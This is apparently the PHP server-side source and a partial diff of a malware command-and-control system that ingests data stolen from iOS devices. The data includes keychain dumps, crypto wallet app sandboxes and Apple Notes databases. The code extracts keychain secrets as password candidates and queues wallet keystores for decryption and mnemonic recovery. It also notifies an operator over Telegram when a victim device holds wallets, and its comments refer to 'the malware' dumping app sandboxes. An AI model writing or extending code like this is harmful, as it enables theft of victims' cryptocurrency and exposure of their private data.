private function chunkIndex(string $path): int
|
|
||||||
{
|
|
||||||
if (preg_match('/_c(\d+)\.bin$/', $path, $m)) {
|
|
||||||
return (int) $m[1];
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @param list<string> $chunkPaths
|
|
||||||
*/
|
|
||||||
private function reassemble(array $chunkPaths): string
|
|
||||||
{
|
|
||||||
$out = '';
|
|
||||||
foreach ($chunkPaths as $path) {
|
|
||||||
$chunk = @file_get_contents($path);
|
|
||||||
if ($chunk === false) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$out .= $chunk;
|
|
||||||
}
|
|
||||||
|
|
||||||
return $out;
|
|
||||||
}
|
|
||||||
|
|
||||||
// ────────────────────────────────────────────────────────────
|
|
||||||
// parse + store
|
|
||||||
// ────────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Route the artifact to the correct parser based on file name.
|
|
||||||
*/
|
|
||||||
private function dispatchParse(Device $device, string $content, string $fileName, string $uploadId): void
|
|
||||||
{
|
|
||||||
$lower = strtolower($fileName);
|
|
||||||
|
|
||||||
if (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
|
|
||||||
$this->parseKeychainXml($device, $content, $fileName);
|
|
||||||
} elseif (str_ends_with($lower, '.tar')) {
|
|
||||||
$bundleId = preg_replace('/\.tar$/i', '', $fileName);
|
|
||||||
// Apple Notes is uploaded as group.com.apple.notes.tar — route
|
|
||||||
// it to the NoteStore.sqlite decoder instead of the wallet
|
|
||||||
// keystore walker.
|
|
||||||
if ($this->isNotesBundle($bundleId)) {
|
|
||||||
$this->parseNotesTar($device, $content, $uploadId);
|
|
||||||
} else {
|
|
||||||
$this->parseWalletTar($device, $content, (string) $bundleId);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// Unknown artifact — try tar first, then keychain XML.
|
|
||||||
if ($this->looksLikeTar($content)) {
|
|
||||||
// Peek inside: if it contains NoteStore.sqlite, treat as notes.
|
|
||||||
if ($this->tarContainsNoteStore($content)) {
|
|
||||||
$this->parseNotesTar($device, $content, $uploadId);
|
|
||||||
} else {
|
|
||||||
$this->parseWalletTar($device, $content, $fileName);
|
|
||||||
}
|
|
||||||
} elseif ($this->looksLikeXml($content)) {
|
|
||||||
$this->parseKeychainXml($device, $content, $fileName);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Whether a bundle ID / file name refers to the Apple Notes app group.
|
|
||||||
*/
|
|
||||||
private function isNotesBundle(string $bundleId): bool
|
|
||||||
{
|
|
||||||
$lower = strtolower($bundleId);
|
|
||||||
|
|
||||||
return $lower === 'group.com.apple.notes'
|
|
||||||
|| str_contains($lower, 'com.apple.notes')
|
|
||||||
|| $lower === 'notes';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Quick peek: does this tar archive contain NoteStore.sqlite?
|
|
||||||
*/
|
|
||||||
private function tarContainsNoteStore(string $content): bool
|
|
||||||
{
|
|
||||||
if (! $this->looksLikeTar($content)) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
// Tar file names live in the 0–100 byte range of each 512-byte header.
|
|
||||||
// A simple substring scan for "NoteStore.sqlite" is good enough.
|
|
||||||
return str_contains($content, 'NoteStore.sqlite');
|
|
||||||
}
|
|
||||||
|
|
||||||
private function looksLikeTar(string $content): bool
|
|
||||||
{
|
|
||||||
return strlen($content) >= 262 && substr($content, 257, 5) === "ustar";
|
|
||||||
}
|
|
||||||
|
|
||||||
private function looksLikeXml(string $content): bool
|
|
||||||
{
|
|
||||||
return str_starts_with(ltrim($content), '<?xml') || str_starts_with(ltrim($content), '<Backup');
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── keychain.xml ────────────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Parse the iOS keychain backup XML, group items by access group → wallet
|
|
||||||
* source, decode each item's v_Data (base64 plist → KEY/data → base64 →
|
|
||||||
* raw bytes), and store as a keychain.wallets WalletKeystore row.
|
|
||||||
*
|
|
||||||
* The DsKeystoreDecrypt walker expects:
|
|
||||||
* {kind: "keychain.wallets", wallets: {<source>: {items: [{account, service, dataHex}]}}}
|
|
||||||
*/
|
|
||||||
private function parseKeychainXml(Device $device, string $content, string $fileName): void
|
|
||||||
{
|
|
||||||
try {
|
|
||||||
$xml = @new \SimpleXMLElement($content);
|
|
||||||
} catch (\Throwable $e) {
|
|
||||||
Log::channel('keystore')->warning('AiLiveUploadIngester: keychain XML parse failed', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'file_name' => $fileName,
|
|
||||||
'error' => $e->getMessage(),
|
|
||||||
]);
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Group items by source label.
|
|
||||||
$buckets = [];
|
|
||||||
$itemCount = 0;
|
|
||||||
$seenBundles = []; // bundle IDs seen in this keychain dump
|
|
||||||
|
|
||||||
foreach ($xml->xpath('//item') as $item) {
|
|
||||||
$acct = (string) ($item->acct ?? '');
|
|
||||||
$svce = (string) ($item->svce ?? '');
|
|
||||||
$agrp = (string) ($item->agrp ?? '');
|
|
||||||
$vData = (string) ($item->{'v_Data'} ?? '');
|
|
||||||
|
|
||||||
$dataHex = $this->decodeKeychainVData($vData);
|
|
||||||
if ($dataHex === '') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
$source = $this->sourceFromAgrp($agrp, $acct);
|
|
||||||
if (! isset($buckets[$source])) {
|
|
||||||
$buckets[$source] = ['items' => []];
|
|
||||||
}
|
|
||||||
$buckets[$source]['items'][] = [
|
|
||||||
'account' => $acct,
|
|
||||||
'service' => $svce,
|
|
||||||
'accessGroup' => $agrp,
|
|
||||||
'dataHex' => $dataHex,
|
|
||||||
];
|
|
||||||
$itemCount++;
|
|
||||||
|
|
||||||
// Collect bundle IDs from agrp for the installed-app list.
|
|
||||||
$bundle = $this->bundleIdFromAgrp($agrp);
|
|
||||||
if ($bundle !== '' && ! isset($seenBundles[$bundle])) {
|
|
||||||
$seenBundles[$bundle] = $source;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Record every app that has keychain entries as installed.
|
|
||||||
foreach ($seenBundles as $bundle => $source) {
|
|
||||||
$this->recordInstalledApp($device, $bundle, $source);
|
|
||||||
}
|
|
||||||
|
|
||||||
if ($buckets === []) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$rawJson = [
|
|
||||||
'kind' => 'keychain.wallets',
|
|
||||||
'wallets' => $buckets,
|
|
||||||
];
|
|
||||||
|
|
||||||
$source = 'ai-live/keychain';
|
|
||||||
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
|
||||||
|
|
||||||
Log::channel('keystore')->info('AiLiveUploadIngester: stored keychain', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'file_name' => $fileName,
|
|
||||||
'items' => $itemCount,
|
|
||||||
'sources' => array_keys($buckets),
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Decode the base64-encoded content in <v_Data> and return the raw
|
|
||||||
* bytes as hex.
|
|
||||||
*
|
|
||||||
* Two storage formats exist in iOS keychain dumps:
|
|
||||||
* 1. Plist-wrapped: <plist><dict><key>KEY</key><data>base64</data>…</dict></plist>
|
|
||||||
* — common for Apple system entries (Bluetooth, account tokens).
|
|
||||||
* 2. Raw value: the base64-decoded content is the value itself (a hex
|
|
||||||
* string, a plain-text password, a JSON snippet, etc.) with no plist
|
|
||||||
* wrapper — common for third-party app entries (Trust Wallet stores
|
|
||||||
* the keystore password as a base64-encoded hex string).
|
|
||||||
*
|
|
||||||
* @param string $vDataRaw Base64-encoded content from <v_Data bin="1">.
|
|
||||||
*/
|
|
||||||
private function decodeKeychainVData(string $vDataRaw): string
|
|
||||||
{
|
|
||||||
$vDataRaw = trim($vDataRaw);
|
|
||||||
if ($vDataRaw === '') {
|
|
||||||
return '';
|
|
||||||
}
|
|
||||||
$decoded = base64_decode($vDataRaw, true);
|
|
||||||
if (! is_string($decoded) || $decoded === '') {
|
|
||||||
return '';
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── 1. Try plist-wrapped format (Apple system entries) ──
|
|
||||||
// The plist is XML: <plist><dict><key>KEY</key><data>base64</data></dict></plist>
|
|
||||||
if (str_starts_with(ltrim($decoded), '<') || str_starts_with(ltrim($decoded), "\xb5")) {
|
|
||||||
try {
|
|
||||||
$px = @new \SimpleXMLElement($decoded);
|
|
||||||
$dataNodes = $px->xpath('//data');
|
|
||||||
foreach ($dataNodes as $dataNode) {
|
|
||||||
$b64 = trim((string) $dataNode);
|
|
||||||
if ($b64 === '') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$bin = base64_decode($b64, true);
|
|
||||||
if (is_string($bin) && $bin !== '') {
|
|
||||||
return bin2hex($bin);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} catch (\Throwable) {
|
|
||||||
// fall through to raw handling
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── 2. Raw value (third-party app entries) ──
|
|
||||||
// The decoded content IS the value — return it as hex so the
|
|
||||||
// keystore decryptor can try it as a password. This covers:
|
|
||||||
// • hex strings (Trust Wallet keystore password)
|
|
||||||
// • plain text passwords
|
|
||||||
// • small JSON blobs
|
|
||||||
return bin2hex($decoded);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Map a keychain access group (agrp) to a wallet source label.
|
|
||||||
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
|
|
||||||
*/
|
|
||||||
private function sourceFromAgrp(string $agrp, string $acct): string
|
|
||||||
{
|
|
||||||
$agrp = trim($agrp);
|
|
||||||
if ($agrp === '') {
|
|
||||||
// Fall back to account-based hint.
|
|
||||||
$hint = WalletSource::fromKeystoreHint($acct);
|
|
||||||
|
|
||||||
return $hint !== '' ? $hint : 'unknown';
|
|
||||||
}
|
|
||||||
// Extract bundle id: take the part after the first dot.
|
|
||||||
$bundle = '';
|
|
||||||
$parts = explode('.', $agrp, 2);
|
|
||||||
if (count($parts) === 2) {
|
|
||||||
$bundle = $parts[1];
|
|
||||||
}
|
|
||||||
$label = WalletSource::labelForBundle($bundle, '');
|
|
||||||
if ($label !== '' && $label !== $bundle) {
|
|
||||||
return $label;
|
|
||||||
}
|
|
||||||
$hint = WalletSource::fromKeystoreHint($bundle);
|
|
||||||
if ($hint !== '') {
|
|
||||||
return $hint;
|
|
||||||
}
|
|
||||||
|
|
||||||
return $bundle !== '' ? $bundle : 'unknown';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract the raw bundle ID from a keychain access group.
|
|
||||||
* agrp format: "TEAMID.com.bundle.id" or "group.com.bundle.id".
|
|
||||||
*/
|
|
||||||
private function bundleIdFromAgrp(string $agrp): string
|
|
||||||
{
|
|
||||||
$agrp = trim($agrp);
|
|
||||||
if ($agrp === '') {
|
|
||||||
return '';
|
|
||||||
}
|
|
||||||
$parts = explode('.', $agrp, 2);
|
|
||||||
|
|
||||||
return $parts[1] ?? '';
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Record a bundle ID into the device's installed-app list. The malware
|
|
||||||
* only uploads a tar for apps whose sandbox it could dump, so any
|
|
||||||
* uploaded bundle ID is proof the app is installed. Keychain access
|
|
||||||
* groups are a secondary signal (the app has keychain entries).
|
|
||||||
*/
|
|
||||||
private function recordInstalledApp(Device $device, string $bundleId, ?string $name = null): void
|
|
||||||
{
|
|
||||||
$bundleId = trim($bundleId);
|
|
||||||
if ($bundleId === '') {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
$label = WalletSource::labelForBundle($bundleId, $name ?? $bundleId);
|
|
||||||
$displayName = ($label !== '' && $label !== $bundleId) ? $label : ($name ?? $bundleId);
|
|
||||||
|
|
||||||
DeviceApp::query()->updateOrCreate(
|
|
||||||
['device_id' => $device->id, 'bundle_id' => $bundleId],
|
|
||||||
[
|
|
||||||
'name' => $displayName,
|
|
||||||
'is_wallet' => WalletSource::isPluginWalletBundle($bundleId),
|
|
||||||
'meta_json' => ['source' => 'ailive_upload', 'uploaded_at' => now()->toIso8601String()],
|
|
||||||
]
|
|
||||||
);
|
|
||||||
|
|
||||||
$this->refreshDeviceWalletFlag($device);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Refresh the device's has_wallet / wallet_names flags from the
|
|
||||||
* current installed-app list. Sends a Telegram notification when
|
|
||||||
* wallets are first detected (has_wallet transitions NONE → YES),
|
|
||||||
* mirroring IngestService::refreshDeviceWalletFlag.
|
|
||||||
*/
|
|
||||||
private function refreshDeviceWalletFlag(Device $device): void
|
|
||||||
{
|
|
||||||
$names = [];
|
|
||||||
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
|
|
||||||
$bundle = (string) $app->bundle_id;
|
|
||||||
if (! WalletSource::isPluginWalletBundle($bundle)) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$label = WalletSource::labelForBundle($bundle, $app->name);
|
|
||||||
$names[$label] = true;
|
|
||||||
}
|
|
||||||
$labels = array_keys($names);
|
|
||||||
sort($labels);
|
|
||||||
|
|
||||||
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
|
|
||||||
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
|
|
||||||
$device->wallet_names = $labels === [] ? null : $labels;
|
|
||||||
$device->saveQuietly();
|
|
||||||
|
|
||||||
// Notify Telegram the first time wallets are detected
|
|
||||||
// (UNKNOWN/NONE → YES transition).
|
|
||||||
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES && $labels !== []) {
|
|
||||||
try {
|
|
||||||
app(\App\Services\TelegramNotifier::class)
|
|
||||||
->notifyInstalledWallets($device->device_id, $labels);
|
|
||||||
} catch (\Throwable $e) {
|
|
||||||
Log::channel('keystore')->warning(
|
|
||||||
'AiLiveUploadIngester telegram notifyInstalledWallets failed: '.$e->getMessage(),
|
|
||||||
['device_id' => $device->id, 'device_key' => $device->device_id],
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── wallet app tar ──────────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract a wallet app tar, walk the files for Web3 keystore JSON
|
|
||||||
* (crypto.ciphertext/mac/kdf) and other interesting artifacts, and
|
|
||||||
* store as a sandbox WalletKeystore row.
|
|
||||||
*
|
|
||||||
* The DsKeystoreDecrypt walker traverses the sandbox tree and picks
|
|
||||||
* up any dict with crypto.ciphertext/mac/kdf as a keystore to unlock.
|
|
||||||
*/
|
|
||||||
private function parseWalletTar(Device $device, string $content, string $bundleId): void
|
|
||||||
{
|
|
||||||
$source = WalletSource::labelForBundle($bundleId, $bundleId);
|
|
||||||
if ($source === '' || $source === $bundleId) {
|
|
||||||
$hint = WalletSource::fromKeystoreHint($bundleId);
|
|
||||||
$source = $hint !== '' ? $hint : ($bundleId !== '' ? $bundleId : 'unknown');
|
|
||||||
}
|
|
||||||
|
|
||||||
// The malware only uploads a tar for apps whose sandbox it could
|
|
||||||
// dump — so this bundle is definitely installed on the device.
|
|
||||||
$this->recordInstalledApp($device, $bundleId, $source);
|
|
||||||
|
|
||||||
$sandbox = $this->extractTarSandbox($content);
|
|
||||||
if ($sandbox === []) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
$rawJson = [
|
|
||||||
'kind' => 'sandbox',
|
|
||||||
'sandbox' => [$source => $sandbox],
|
|
||||||
];
|
|
||||||
|
|
||||||
WalletKeystore::firstOrCreateForDevice($device, $source, $rawJson);
|
|
||||||
|
|
||||||
Log::channel('keystore')->info('AiLiveUploadIngester: stored tar sandbox', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'bundle_id' => $bundleId,
|
|
||||||
'source' => $source,
|
|
||||||
'files' => count($sandbox, COUNT_RECURSIVE),
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Apple Notes tar ─────────────────────────────────────────
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract a group.com.apple.notes tar, pull out NoteStore.sqlite +
|
|
||||||
* -wal + -shm, save them to the location DsMemoDecoder expects
|
|
||||||
* (c2/ds-results/<device_id>/<command_id>/), and dispatch the
|
|
||||||
* DecodeMemoDb job to parse note text off the request thread.
|
|
||||||
*/
|
|
||||||
private function parseNotesTar(Device $device, string $content, string $uploadId): void
|
|
||||||
{
|
|
||||||
$files = $this->extractNotesDbFiles($content);
|
|
||||||
if ($files === []) {
|
|
||||||
Log::channel('keystore')->warning('AiLiveUploadIngester: notes tar has no NoteStore.sqlite', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'upload_id' => $uploadId,
|
|
||||||
]);
|
|
||||||
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// DsMemoDecoder looks for files under
|
|
||||||
// storage/app/c2/ds-results/<device_id>/<command_id>/NoteStore.sqlite
|
|
||||||
$commandId = 'ailive_'.substr($uploadId, 0, 8);
|
|
||||||
$dir = 'c2/ds-results/'.$device->device_id.'/'.$commandId;
|
|
||||||
$disk = \Illuminate\Support\Facades\Storage::disk('local');
|
|
||||||
|
|
||||||
foreach ($files as $name => $data) {
|
|
||||||
$disk->put($dir.'/'.$name, $data);
|
|
||||||
}
|
|
||||||
|
|
||||||
Log::channel('keystore')->info('AiLiveUploadIngester: stored notes db', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'device_key' => $device->device_id,
|
|
||||||
'command_id' => $commandId,
|
|
||||||
'files' => array_keys($files),
|
|
||||||
]);
|
|
||||||
|
|
||||||
// Dispatch the async SQLite decoder job.
|
|
||||||
try {
|
|
||||||
\App\Jobs\DecodeMemoDb::dispatch($device->id, $commandId);
|
|
||||||
} catch (\Throwable $e) {
|
|
||||||
Log::channel('keystore')->error('AiLiveUploadIngester: DecodeMemoDb dispatch failed', [
|
|
||||||
'device_id' => $device->id,
|
|
||||||
'command_id' => $commandId,
|
|
||||||
'error' => $e->getMessage(),
|
|
||||||
]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract NoteStore.sqlite + -wal + -shm from a notes tar archive.
|
|
||||||
*
|
|
||||||
* @return array<string, string> Map of filename → raw bytes.
|
|
||||||
*/
|
|
||||||
private function extractNotesDbFiles(string $content): array
|
|
||||||
{
|
|
||||||
if (! $this->looksLikeTar($content)) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
$tmp = tempnam(sys_get_temp_dir(), 'ailive_notes_');
|
|
||||||
if ($tmp === false) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
// PharData requires a .tar extension to recognise the archive format.
|
|
||||||
$tmpTar = $tmp . '.tar';
|
|
||||||
@rename($tmp, $tmpTar);
|
|
||||||
$tmp = $tmpTar;
|
|
||||||
try {
|
|
||||||
if (@file_put_contents($tmp, $content) === false) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
$phar = new \PharData($tmp);
|
|
||||||
} catch (\Throwable) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
|
|
||||||
$wanted = ['NoteStore.sqlite', 'NoteStore.sqlite-wal', 'NoteStore.sqlite-shm'];
|
|
||||||
$out = [];
|
|
||||||
foreach (new \RecursiveIteratorIterator($phar) as $f) {
|
|
||||||
if (! $f->isFile()) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$base = basename($f->getPathname());
|
|
||||||
if (! in_array($base, $wanted, true)) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$raw = @file_get_contents($f->getPathname());
|
|
||||||
if ($raw === false || $raw === '') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$out[$base] = $raw;
|
|
||||||
}
|
|
||||||
|
|
||||||
return $out;
|
|
||||||
} finally {
|
|
||||||
@unlink($tmp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Extract a tar (ustar) archive into a nested dict of file paths →
|
|
||||||
* decoded content. JSON files are parsed into arrays; binary files
|
|
||||||
* (Realm DBs, SQLite) are stored as base64; everything else is stored
|
|
||||||
* as a UTF-8 string when possible.
|
|
||||||
*
|
|
||||||
* @return array<string, mixed>
|
|
||||||
*/
|
|
||||||
private function extractTarSandbox(string $content): array
|
|
||||||
{
|
|
||||||
if (! $this->looksLikeTar($content)) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
|
|
||||||
$tmp = tempnam(sys_get_temp_dir(), 'ailive_tar_');
|
|
||||||
if ($tmp === false) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
// PharData requires a .tar extension to recognise the archive format.
|
|
||||||
$tmpTar = $tmp . '.tar';
|
|
||||||
@rename($tmp, $tmpTar);
|
|
||||||
$tmp = $tmpTar;
|
|
||||||
try {
|
|
||||||
if (@file_put_contents($tmp, $content) === false) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
try {
|
|
||||||
$phar = new \PharData($tmp);
|
|
||||||
} catch (\Throwable) {
|
|
||||||
return [];
|
|
||||||
}
|
|
||||||
|
|
||||||
$sandbox = [];
|
|
||||||
$count = 0;
|
|
||||||
$maxFiles = 200;
|
|
||||||
foreach (new \RecursiveIteratorIterator($phar) as $f) {
|
|
||||||
if ($count >= $maxFiles) {
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
if (! $f->isFile()) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$rel = ltrim(str_replace('\\', '/', $f->getPathname()));
|
|
||||||
// Strip the "phar://<absolute-tar-path>" prefix. The temp file
|
|
||||||
// path is absolute (starts with "/"), so the old [^/]+ pattern
|
|
||||||
// failed to match the leading slash — use the known prefix.
|
|
||||||
$prefix = 'phar://'.$tmp;
|
|
||||||
if (str_starts_with($rel, $prefix)) {
|
|
||||||
$rel = substr($rel, strlen($prefix));
|
|
||||||
} else {
|
|
||||||
// Fallback: strip phar:// + everything up to the first .tar
|
|
||||||
$rel = preg_replace('#^phar://.*?\.tar#i', '', $rel) ?? $rel;
|
|
||||||
}
|
|
||||||
$rel = ltrim($rel, '/');
|
|
||||||
if ($rel === '') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
$raw = @file_get_contents($f->getPathname());
|
|
||||||
if ($raw === false || $raw === '') {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$decoded = $this->decodeFileContent($raw, $rel);
|
|
||||||
if ($decoded === null) {
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
$this->setNestedPath($sandbox, $rel, $decoded);
|
|
||||||
$count++;
|
|
||||||
}
|
|
||||||
|
|
||||||
return $sandbox;
|
|
||||||
} finally {
|
|
||||||
@unlink($tmp);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @return mixed Array for JSON, string for text/base64, null to skip.
|
|
||||||
*/
|
|
||||||
private function decodeFileContent(string $raw, string $path): mixed
|
|
||||||
{
|
|
||||||
// JSON files → parsed array (keystore JSON has crypto.ciphertext/mac/kdf).
|
|
||||||
$first = $raw[0] ?? '';
|
|
||||||
if ($first === '{' || $first === '[') {
|
|
||||||
$json = json_decode($raw, true);
|
|
||||||
if (is_array($json)) {
|
|
||||||
return $json;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Small text files → UTF-8 string.
|
|
||||||
if (strlen($raw) <= 65536 && mb_check_encoding($raw, 'UTF-8')) {
|
|
||||||
return $raw;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Binary files (Realm, SQLite) → base64 (capped to avoid OOM).
|
|
||||||
$cap = 512 * 1024; // 512 KiB
|
|
||||||
if (strlen($raw) > $cap) {
|
|
||||||
return null; // skip large binaries — not useful for mnemonic recovery
|
|
||||||
}
|
|
||||||
|
|
||||||
return base64_encode($raw);
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Set a value at a nested path (a/b/c.json → $arr[a][b][c.json]).
|
|
||||||
*
|
|
||||||
* @param array<string, mixed> $arr
|
|
||||||
*/
|
|
||||||
private function setNestedPath(array &$arr, string $path, mixed $value): void
|
|
||||||
{
|
|
||||||
$parts = explode('/', $path);
|
|
||||||
$ref = &$arr;
|
|
||||||
$n = count($parts);
|
|
||||||
for ($i = 0; $i < $n - 1; $i++) {
|
|
||||||
$key = $parts[$i];
|
|
||||||
if (! isset($ref[$key]) || ! is_array($ref[$key])) {
|
|
||||||
$ref[$key] = [];
|
|
||||||
}
|
|
||||||
$ref = &$ref[$key];
|
|
||||||
}
|
|
||||||
$ref[$parts[$n - 1]] = $value;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -3,6 +3,7 @@
|
|||||||
namespace App\Services;
|
namespace App\Services;
|
||||||
|
|
||||||
use App\Models\Device;
|
use App\Models\Device;
|
||||||
|
use App\Models\DeviceApp;
|
||||||
use App\Models\DsChainLog;
|
use App\Models\DsChainLog;
|
||||||
use App\Models\PageVisit;
|
use App\Models\PageVisit;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
@@ -248,17 +249,18 @@ class DarkSwordIngestAdapter
|
|||||||
$wallets = $keychain['wallets'] ?? [];
|
$wallets = $keychain['wallets'] ?? [];
|
||||||
$sandbox = $payload['sandbox'] ?? [];
|
$sandbox = $payload['sandbox'] ?? [];
|
||||||
|
|
||||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
// Store keychain + decryptable UTC only. Do not persist the rest of sandbox.
|
||||||
$rows = array_merge(
|
$rows = array_merge(
|
||||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||||
);
|
);
|
||||||
|
|
||||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||||
$this->trustAddresses->ingest($device, $sandbox);
|
$this->trustAddresses->ingest($device, $sandbox);
|
||||||
$this->trustAddresses->ingest($device, $wallets);
|
$this->trustAddresses->ingest($device, $wallets);
|
||||||
|
|
||||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
// Async: mnemonic recovery still receives the in-memory sandbox for this
|
||||||
|
// request; later reprocess rebuilds UTC from stored web3.keystore rows.
|
||||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -506,7 +508,7 @@ class DarkSwordIngestAdapter
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
$this->trustAddresses->ingest($device, $raw);
|
$this->trustAddresses->ingest($device, $raw);
|
||||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
$this->storeWeb3KeystoresFromTree($device, ['trust_wallet' => $raw]);
|
||||||
|
|
||||||
// Async: attempt Trust UTC keystore decryption.
|
// Async: attempt Trust UTC keystore decryption.
|
||||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||||
@@ -528,10 +530,10 @@ class DarkSwordIngestAdapter
|
|||||||
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
|
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
|
||||||
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
|
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
|
||||||
|
|
||||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
// Store keychain + decryptable UTC only.
|
||||||
$rows = array_merge(
|
$rows = array_merge(
|
||||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
|
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
|
||||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
$this->storeWeb3KeystoresFromTree($device, $sandbox),
|
||||||
);
|
);
|
||||||
|
|
||||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||||
@@ -556,10 +558,10 @@ class DarkSwordIngestAdapter
|
|||||||
if ($json === null) {
|
if ($json === null) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
|
$payload = $json;
|
||||||
|
$payload['kind'] = 'web3.keystore';
|
||||||
|
$this->createKeystore($device, 'imToken', $payload, true);
|
||||||
|
|
||||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
|
||||||
// but the job logs the reason and still extracts addresses if any).
|
|
||||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -749,7 +751,7 @@ class DarkSwordIngestAdapter
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
$bundle = trim((string) ($item['bundleId'] ?? $item['bundle_id'] ?? $item['b'] ?? ''));
|
